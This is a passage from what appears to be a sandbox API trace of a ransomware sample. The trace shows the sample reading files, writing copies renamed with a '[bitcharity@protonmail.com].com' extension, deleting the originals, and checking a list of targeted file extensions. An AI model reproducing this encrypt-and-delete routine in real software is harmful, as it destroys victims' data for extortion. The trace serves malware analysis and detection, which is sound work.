returned 44 [0129.946] lstrlenW (lpString=".jpg") returned 4 [0129.946] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0129.946] Sleep (dwMilliseconds=0x64) [0130.198] Sleep (dwMilliseconds=0x64) [0130.405] Sleep (dwMilliseconds=0x64) [0130.532] Sleep (dwMilliseconds=0x64) [0130.650] Sleep (dwMilliseconds=0x64) [0130.805] Sleep (dwMilliseconds=0x64) [0130.917] Sleep (dwMilliseconds=0x64) [0131.272] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0131.273] lstrlenW (lpString="eula.rtf") returned 8 [0131.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0131.273] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=6309) returned 1 [0131.273] CloseHandle (hObject=0x1078) returned 1 [0131.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0131.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0131.274] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.274] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0131.283] GetLastError () returned 0x0 [0131.283] ReadFile (in: hFile=0x1078, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0131.944] WriteFile (in: hFile=0x1094, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0131.946] ReadFile (in: hFile=0x1078, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.946] WriteFile (in: hFile=0x1094, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0131.946] SetEndOfFile (hFile=0x1094) returned 1 [0131.946] CloseHandle (hObject=0x1094) returned 1 [0131.949] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.949] SetEndOfFile (hFile=0x1078) returned 1 [0131.950] CloseHandle (hObject=0x1078) returned 1 [0131.950] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.951] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0131.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.951] lstrlenW (lpString=".doc") returned 4 [0131.951] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0131.951] lstrlenW (lpString=".docx") returned 5 [0131.951] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0131.951] lstrlenW (lpString=".pdf") returned 4 [0131.951] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0131.951] lstrlenW (lpString=".xls") returned 4 [0131.951] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0131.952] lstrlenW (lpString=".xlsx") returned 5 [0131.952] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0131.952] lstrlenW (lpString=".ppt") returned 4 [0131.952] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0131.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.952] lstrlenW (lpString=".zip") returned 4 [0131.952] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0131.952] lstrlenW (lpString=".rar") returned 4 [0131.952] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0131.952] lstrlenW (lpString=".bz2") returned 4 [0131.952] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0131.952] lstrlenW (lpString=".7z") returned 3 [0131.952] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0131.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.952] lstrlenW (lpString=".dbf") returned 4 [0131.952] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0131.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.952] lstrlenW (lpString=".1cd") returned 4 [0131.952] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0131.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.952] lstrlenW (lpString=".jpg") returned 4 [0131.952] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0131.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.953] lstrlenW (lpString=".doc") returned 4 [0131.953] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0131.953] lstrlenW (lpString=".docx") returned 5 [0131.953] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0131.953] lstrlenW (lpString=".pdf") returned 4 [0131.953] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0131.953] lstrlenW (lpString=".xls") returned 4 [0131.953] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0131.953] lstrlenW (lpString=".xlsx") returned 5 [0131.953] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0131.953] lstrlenW (lpString=".ppt") returned 4 [0131.953] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0131.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.953] lstrlenW (lpString=".zip") returned 4 [0131.953] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0131.953] lstrlenW (lpString=".rar") returned 4 [0131.953] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0131.953] lstrlenW (lpString=".bz2") returned 4 [0131.953] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0131.953] lstrlenW (lpString=".7z") returned 3 [0131.953] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0131.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.954] lstrlenW (lpString=".dbf") returned 4 [0131.954] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0131.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.954] lstrlenW (lpString=".1cd") returned 4 [0131.954] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0131.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0131.954] lstrlenW (lpString=".jpg") returned 4 [0131.954] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0131.954] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0131.954] lstrlenW (lpString="eula.rtf") returned 8 [0131.954] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0131.954] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3314) returned 1 [0131.954] CloseHandle (hObject=0x1078) returned 1 [0131.954] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0131.955] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0131.955] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.955] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0131.955] GetLastError () returned 0x0 [0131.955] ReadFile (in: hFile=0x1078, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xcf2, lpOverlapped=0x0) returned 1 [0132.527] WriteFile (in: hFile=0x1094, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xd00, lpOverlapped=0x0) returned 1 [0132.528] ReadFile (in: hFile=0x1078, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.528] WriteFile (in: hFile=0x1094, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0132.528] SetEndOfFile (hFile=0x1094) returned 1 [0132.529] CloseHandle (hObject=0x1094) returned 1 [0132.529] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.529] SetEndOfFile (hFile=0x1078) returned 1 [0132.530] CloseHandle (hObject=0x1078) returned 1 [0132.530] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0132.530] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0132.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.531] lstrlenW (lpString=".doc") returned 4 [0132.531] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString=".docx") returned 5 [0132.531] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0132.531] lstrlenW (lpString=".pdf") returned 4 [0132.531] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString=".xls") returned 4 [0132.531] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0132.531] lstrlenW (lpString=".xlsx") returned 5 [0132.531] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0132.531] lstrlenW (lpString=".ppt") returned 4 [0132.531] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.531] lstrlenW (lpString=".zip") returned 4 [0132.531] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0132.531] lstrlenW (lpString=".rar") returned 4 [0132.531] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString=".bz2") returned 4 [0132.531] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString=".7z") returned 3 [0132.531] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0132.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.531] lstrlenW (lpString=".dbf") returned 4 [0132.531] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.531] lstrlenW (lpString=".1cd") returned 4 [0132.531] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0132.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.531] lstrlenW (lpString=".jpg") returned 4 [0132.532] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.532] lstrlenW (lpString=".doc") returned 4 [0132.532] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString=".docx") returned 5 [0132.532] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0132.532] lstrlenW (lpString=".pdf") returned 4 [0132.532] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString=".xls") returned 4 [0132.532] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0132.532] lstrlenW (lpString=".xlsx") returned 5 [0132.532] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0132.532] lstrlenW (lpString=".ppt") returned 4 [0132.532] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.532] lstrlenW (lpString=".zip") returned 4 [0132.532] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0132.532] lstrlenW (lpString=".rar") returned 4 [0132.532] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString=".bz2") returned 4 [0132.532] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString=".7z") returned 3 [0132.532] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0132.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.532] lstrlenW (lpString=".dbf") returned 4 [0132.532] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.532] lstrlenW (lpString=".1cd") returned 4 [0132.532] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0132.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0132.532] lstrlenW (lpString=".jpg") returned 4 [0132.532] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0132.533] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0132.533] lstrlenW (lpString="LocalizedData.xml") returned 17 [0132.533] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0133.365] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=86284) returned 1 [0133.365] CloseHandle (hObject=0x109c) returned 1 [0133.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0133.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0133.365] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.365] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0133.365] GetLastError () returned 0x0 [0133.365] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0133.501] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x15110, lpOverlapped=0x0) returned 1 [0133.503] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.503] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf6, lpOverlapped=0x0) returned 1 [0133.503] SetEndOfFile (hFile=0x10a8) returned 1 [0133.503] CloseHandle (hObject=0x10a8) returned 1 [0133.505] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.505] SetEndOfFile (hFile=0x109c) returned 1 [0133.506] CloseHandle (hObject=0x109c) returned 1 [0133.506] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.507] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0133.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.507] lstrlenW (lpString=".doc") returned 4 [0133.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.507] lstrlenW (lpString=".docx") returned 5 [0133.507] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.507] lstrlenW (lpString=".pdf") returned 4 [0133.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.507] lstrlenW (lpString=".xls") returned 4 [0133.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.507] lstrlenW (lpString=".xlsx") returned 5 [0133.507] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.507] lstrlenW (lpString=".ppt") returned 4 [0133.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.507] lstrlenW (lpString=".zip") returned 4 [0133.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.507] lstrlenW (lpString=".rar") returned 4 [0133.508] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString=".bz2") returned 4 [0133.508] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString=".7z") returned 3 [0133.508] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.508] lstrlenW (lpString=".dbf") returned 4 [0133.508] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.508] lstrlenW (lpString=".1cd") returned 4 [0133.508] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.508] lstrlenW (lpString=".jpg") returned 4 [0133.508] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.508] lstrlenW (lpString=".doc") returned 4 [0133.508] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString=".docx") returned 5 [0133.508] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.508] lstrlenW (lpString=".pdf") returned 4 [0133.508] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString=".xls") returned 4 [0133.508] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString=".xlsx") returned 5 [0133.508] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.508] lstrlenW (lpString=".ppt") returned 4 [0133.508] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.508] lstrlenW (lpString=".zip") returned 4 [0133.508] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.508] lstrlenW (lpString=".rar") returned 4 [0133.508] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.508] lstrlenW (lpString=".bz2") returned 4 [0133.508] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.509] lstrlenW (lpString=".7z") returned 3 [0133.509] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.509] lstrlenW (lpString=".dbf") returned 4 [0133.509] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.509] lstrlenW (lpString=".1cd") returned 4 [0133.509] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0133.509] lstrlenW (lpString=".jpg") returned 4 [0133.509] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.509] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0133.509] lstrlenW (lpString="LocalizedData.xml") returned 17 [0133.509] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0133.509] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=77022) returned 1 [0133.509] CloseHandle (hObject=0x109c) returned 1 [0133.509] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0133.509] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.509] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0133.510] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.510] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.510] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0133.510] GetLastError () returned 0x0 [0133.510] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, 